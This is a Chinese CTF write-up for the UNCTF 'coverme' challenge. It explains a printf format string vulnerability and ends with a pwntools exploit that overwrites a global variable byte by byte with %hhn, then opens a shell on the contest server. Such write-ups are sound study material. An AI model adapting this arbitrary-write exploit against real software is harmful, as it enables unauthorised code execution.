UNCTF:coverme(覆盖任意地址内存 )
查询一下文件信息:
】
开启了NX(栈不可执行)和cannary(栈溢出检测):
使用IDA PRO查看一下程序流程:
没有发现栈溢出,但是在printf处有字符串格式化漏洞
分析得到要使用字符串格式化漏洞去修改key的值然后去执行getshell
想要覆盖任意地址要满足以下几个条件:
1.要覆盖的地址
2.确定偏移(s是printf的第几个参数或者s在格式字符串中是第几个参数)
IDA PRO中查找key对应的地址:0804A030
寻找偏移
使用[tag]%p%p%p%p%p%p...去寻找偏移
计算得到s在格式字符串中是第7参数(printf函数的第8个参数)
注意:这里的key值是一个dd类型的数据(双字,4字节),而要比较的是一个8字节,所以要用到覆盖大数字的技巧(参考结尾的链接)
EXP
#! /usr/bin/env python from pwn import * def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr /** offset 表示要覆盖的地址最初的偏移(格式字符串的第n个参数) size 表示机器字长 addr 表示将要覆盖的地址。 target 表示我们要覆盖为的目的变量值。 **/ def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload def forb(): #sh = process('./coverme') sh=remote('120.79.17.251',10011) payload = fmt_str(7, 4, 0x0804A030, 0x5201314) #gdb.attach(sh) sh.sendline(payload) sh.recv() sh.interactive() forb()
参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/(任意地址覆盖->覆盖大数字)